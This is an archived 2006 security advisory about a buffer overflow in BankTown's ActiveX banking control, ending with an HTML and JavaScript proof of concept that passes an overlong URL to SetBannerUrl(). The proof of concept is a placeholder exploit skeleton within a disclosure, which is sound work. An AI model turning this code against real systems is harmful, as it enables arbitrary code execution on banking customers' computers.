

# [NT] BankTown's ActiveX Buffer Overflow

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-05/msg00031.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 4 May 2006 16:33:25 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

BankTown's ActiveX Buffer Overflow

---

## SUMMARY

BankTown's ActiveX is a component which allows users to access banks in Korea.

Improper input validation allows attackers to execute arbitrary code using BankTown's ActiveX.

## DETAILS

Vulnerable Systems:

- \* BankTown Client Control version 1,4,2,51817

BankTown's ActiveX contain the function SetBannerUrl(). This function required two arguments (id and url).

The function does not validate the url argument.

By using magic string such as

'[http://www.hacked\\_banktown.com/](http://www.hacked_banktown.com/) magic string /' then the ActiveX will lead to buffer overflow.

The return EIP would be similar to '0x41414141'.

[NT] BankTown's ActiveX Buffer Overflow

Proof of Concept:

```

< BODY>
< OBJECT id="GotBT" width=0 height=0
classid="CLSID:C572979D-8383-4CCA-A37A-0F7CC3B62D81"

CODEBASE="http://download.banktown.com/XXXXXXXXXXXXXXXX/BtCxSFM20F.cab#version=1.4.2.51817>
</ OBJECT>

< script language=javascript>
<!--
function go() {
var str1 = "Hacked";
var str2 = "http://www.hacked_X .org/Magic length/Magic strings;
val = GotBT.SetBannerUrl(str2, str1);
}
go();
</ SCRIPT>
</ body>

```

Disclosure Timeline:

- 21. 04. 2006 initiate notified
- 26. 04. 2006 Second notified
- 02. 05. 2006 Third notified but not responded
- 03. 05. 2006 Disclosure Vulnerability

ADDITIONAL INFORMATION

The information has been provided by <<mailto:saintlinu@xxxxxxxxxx>> Alex Park.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.